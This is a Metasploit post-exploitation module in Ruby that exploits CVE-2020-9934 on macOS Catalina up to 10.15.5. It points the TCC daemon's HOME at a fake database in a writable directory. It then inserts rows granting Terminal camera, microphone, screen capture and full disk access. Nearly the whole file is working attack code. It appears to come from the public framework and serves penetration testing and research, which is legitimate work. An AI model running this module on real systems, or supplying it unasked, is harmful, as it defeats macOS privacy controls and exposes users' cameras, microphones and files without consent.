## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System def initialize(info = {}) super( update_info( info, 'Name' => 'Bypass the macOS TCC Framework', 'Description' => %q{ This module exploits a vulnerability in the TCC daemon on macOS Catalina (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be manipulated (by setting the HOME environment variable) to use a new user controlled location as the TCC database. We can then grant ourselves entitlements by inserting them into this new database. }, 'License' => MSF_LICENSE, 'Author' => [ 'mattshockl', # discovery 'timwr', # metasploit module ], 'References' => [ ['CVE', '2020-9934'], ['URL', 'https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8'], ['URL', 'https://github.com/mattshockl/CVE-2020-9934'], ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], 'Reliability' => [] }, 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ] ) ) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) end def check system_version = get_system_version unless system_version return Exploit::CheckCode::Unknown end version = Rex::Version.new(system_version) if version >= Rex::Version.new('10.15.6') return Exploit::CheckCode::Safe elsif version < Rex::Version.new('10.15.0') return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Appears end end def run if check != Exploit::CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}" tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC" tccdb = "#{tccdir}/TCC.db" print_status("Creating TCC directory #{tccdir}") cmd_exec("mkdir -p '#{tccdir}'") cmd_exec("launchctl setenv HOME '#{tmpdir}'") cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd') unless file_exist?(tccdb) print_error("No fake TCC DB found: #{tccdb}") fail_with Failure::NotVulnerable, 'Target is not vulnerable' end print_good("fake TCC DB found: #{tccdb}") tcc_services = [ 'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService', 'kTCCServiceSystemPolicyDeveloperFiles', 'kTCCServiceSystemPolicyDesktopFolder', 'kTCCServiceSystemPolicyAllFiles', 'kTCCServiceSystemPolicyNetworkVolumes', 'kTCCServiceSystemPolicySysAdminFiles', 'kTCCServiceSystemPolicyDownloadsFolder' ] bundle = 'com.apple.Terminal' csreq = 'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003' isfile = '0' timestamp = 1.year.from_now.to_i.to_s for service in tcc_services sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});" sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"") if sqloutput && !sqloutput.empty? print_error("Output: #{sqloutput.length}") end end print_good('TCC.db was successfully updated!') cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd' cleanup_command << "\nrm -rf '#{tmpdir}'" print_status("To cleanup, run:\n#{cleanup_command}\n") end end